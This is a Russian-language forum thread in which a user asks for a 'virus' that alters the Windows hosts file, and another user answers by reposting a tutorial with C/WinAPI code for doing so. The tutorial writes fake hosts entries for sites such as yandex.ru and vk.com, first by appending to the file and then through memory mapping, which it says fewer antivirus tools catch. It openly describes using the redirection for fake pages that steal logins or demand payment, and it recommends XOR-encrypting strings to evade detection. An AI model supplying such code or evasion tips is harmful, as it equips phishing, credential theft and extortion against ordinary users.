Вопрос по вирусу!

CoBi · 16 апр 2013

Здравствуйте уважаемые)
Вопрос-есть ли у кого то вирус(тело вируса)и может кто то поделится??
Вирус при включении которого-меняется файл hosts

Bender · 16 апр 2013

могу предложить прочитать статью, раз поиском не пользуемся.
автор Quake3 (дл, эксп)

" [URL='http://www.firststeps.ru/mfc/winapi/r.php?111']http://www.firststep...inapi/r.php?111[/URL] а я покажу сказал(а):

Несмотря на простоту работы с hosts файлом Windows, на форумах довольно таки часто можно встретить темы о продаже такой малвари. Даже некоторые наглые скамерсанты авторы известных лоадеров включают в свои продукты платные модули для hosts. В связи с этим всем я решил написать небольшую статью. Сразу говорю, материал предзначен в основном для новичков, поэтому если вы грамотный кодер, то вряд ли найдете для себя что либо полезное.

Итак, сначала немного теории. В этом файле указываются ip-адреса для соответствующих им доменных имен. Сначала Windows смотрит этот файл, а потом уже (если записи для сайта не обнаружено) отправляет запрос к DNS серверу. Для чего это нужно? Например, для отладки какого-то сайта на локалхосте, в случаях, когда доменное имя по каким-то причинам не доступно (еще не разделегировано, смена днс записей, и так далее), для блокировки доступа к каким-либо ресурсам (рекламные сайты, обновления какой-то программы). В малвари чаще всего это используется для фейков, чтобы человек, заходя по привычному доменному имени (контакт, яндекс) попадал на совершенно другой айпи. Там ему, соответственно, можно вывести сообщение о блокировке его аккаунта (и попросить оплатить разбан), просто принять введеные даные и редиректнуть на оригинальный сайт, и так далее; что с этим делать - решать сугубо вам, я хочу поговорить сугубо о практической реализации. Я буду писать код на Си+Winapi,вы можете переделать сорцы на любой другой яп.

Самый примитивный и популярный вариант - это прямая запись в файл. У большинства людей файл находится по адресу:

C:\WINDOWS\SYSTEM32\drivers\etc\hosts

, но не лишним будет подстраховаться, и получить системную директорию программно (вдруг винда у человека на диске D: например?).

char hosts[] = "\\drivers\\etc\\hosts";
char fname[MAX_PATH]; - буфер для пути к файлу
GetSystemDirectory(fname,MAX_PATH); - запрашиваем системную директорию.(C:\WINDOWS\SYSTEM32)

lstrcat(fname,hosts); - объединяем строки, в итоге в fname у нас лежит полный путь к hosts

Открываем файл на запись,ставим указатель файла на его конец, записываем туда буфер с данными:

HANDLE hFile; - хендл файла
DWORD bWrtn; - сколько байт записано в файл
char buf[] = "\r\n127.0.0.1 yandex.ru\r\n127.0.0.1 vk.com\r\n"; - буфер с фейк-данными

hFile = CreateFile(fname,GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(hFile,0,0,FILE_END);
WriteFile(hFile,buf,lstrlen(buf),&bWrtn,0);
CloseHandle(hFile);

Здесь все просто, комментировать, наверное, смысла нет - стандартные вызовы Api функций. Кто не знаком с WinApi для работы с файлами - советую прочитать про них на

msdn.microsoft.com - официальном сайте Microsoft

vsokovikov.narod.ru - русском переводе MSDN

realcoding.net - цикл статей "WinAPI. Функции работы с файлами (4 части)".

Единственный момент, на который хотелось бы обратить внимание - если в функцию CreateFile в качестве второго параметра передать константу FILE_APPEND_DATA - отпадет нужда в функции SetFilePointer, т.к. указатель автоматически установится на конец файла.

Желательно писать данные в конец файла (а не поверх имеющегося содержимого), ибо в юзера могут быть там какие-то свои настройки доступа к сайтам.

Но, данный способ настолько уже заезжен, что палится всем чем можно - даже браузер от яндекса и мессенджер мейл агент замечают такую правку в хостс файл. Поэтому рассмотрим второй способ. Он связан с отображением файлов в память. Если вкратце - файл открывается, и проецируется в оперативную память текущего процесса, где с ним можно работать, как с памятью (копировать, удалять, добавлять данные). При этом все изменения в "проекции" файла будут сохранятся в оригинальном файле. Подробнее про это можно прочитать в том же msdn.microsoft.com или по ссылкам:

http://vsokovikov.na...main_fl_map.htm

http://www.firststep...inapi/r.php?111

а я покажу, как это применить к файлу hosts.

HANDLE hFile,hMapping; - хендлы
char *ptr1; - указатель на память

//Открываем файл на чтение и запись.
hFile = CreateFile(fname, GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

//Создаем объект проекции файла в память
hMapping = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);

//Получаем указатель на проекцию файла в адресном пространстве процесса
ptr1 = (char*)MapViewOfFile(hMapping,FILE_MAP_WRITE,0,0,0);

//копируем буфер с данным по адресу начала файла, т.е. записываем данные в файл
lstrcpy(ptr1,buf);

//закрываем указатели на память и файл
UnmapViewOfFile(ptr1);
CloseHandle(hMapping);
CloseHandle(hFile);

Такой способ детектит уже намного меньше аверов. Но в нем есть минус - как видите, данные пишутся в начало файла, а не в конец. Чтобы устранить эту проблему, следует сделать так:

//Сначала узнать размер файла hosts (предварительно открыв его через CreateFile)
DWORD fz; - размер файла
fz = GetFileSize(hFile,0);

//далее выделить в памяти блок, размером длина файла + длина буфера с данными
hMapping = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,fz+lstrlen(buf),NULL);

//прибавить к указателю на память размер файла, теперь запись будет идти в конец
fz += ptr1;

Далее все как в примере выше - запись через lstrcpy, закрытие хендлов, выход.

Важно знать, что в UnmapViewOfFile должен передаваться указатель именно на ту область, которую возвратил MapViewOfFile. Поэтому мы прибавляем к fz переменную ptr1, а не наоборот, чтобы сохранить в ptr1 оригинальное значение.

На этом все. Если что-то неясно - спрашивайте в теме.

p.s. в реальном коде нужно проверять, какое значение возвращает та или иная функция.

p.p.s некоторые аверы палят такие трояны по строкам, поэтому можно для реальной малвари желательно строки все же шифровать, хотя бы примитивным ксором.
Нажмите, чтобы раскрыть...

также на грабе задевали этот вопрос, showthread.php?t=29241

принцип должно быть понятен, можешь переписать под нужный тебе яп.

должно быть каждый ав/файер будет блоктировать посторонним приложением работу с hosts.

копирайтов, уважаемый Quake3,не оставил, потому надеюсь что яйца за копирование на данный борд не отрежет ;-)

постарался отредактировать, так чтобы выглядело более приятно на глаз, нежели при ctrl+c - ctrl+v = неглазобельно

и да,

"" сказал(а):

Вирус при включении которого-меняется файл hosts
Нажмите, чтобы раскрыть...

говори так: (определённое/вредоносное)ПО которое производит подмену в системном файле hosts

это тебе тело/исходник. также если тебе неизвестно ни одного яп, я видел где-то билдеры таких вещей, к сожалению не вспомню сейчас. поищи, может наткнёшься />

p.s. когда администрация добавит такие функции как "хайд" или "спойлер" ?!

CoBi · 16 апр 2013

Спасибо большое!)

Войти или зарегистрироваться

Вопрос по вирусу!

CoBi

Bender

CoBi

Поделиться этой страницей

Войти или зарегистрироваться

Вопрос по вирусу&#33;

CoBi

Bender

CoBi

Поделиться этой страницей

Вопрос по вирусу!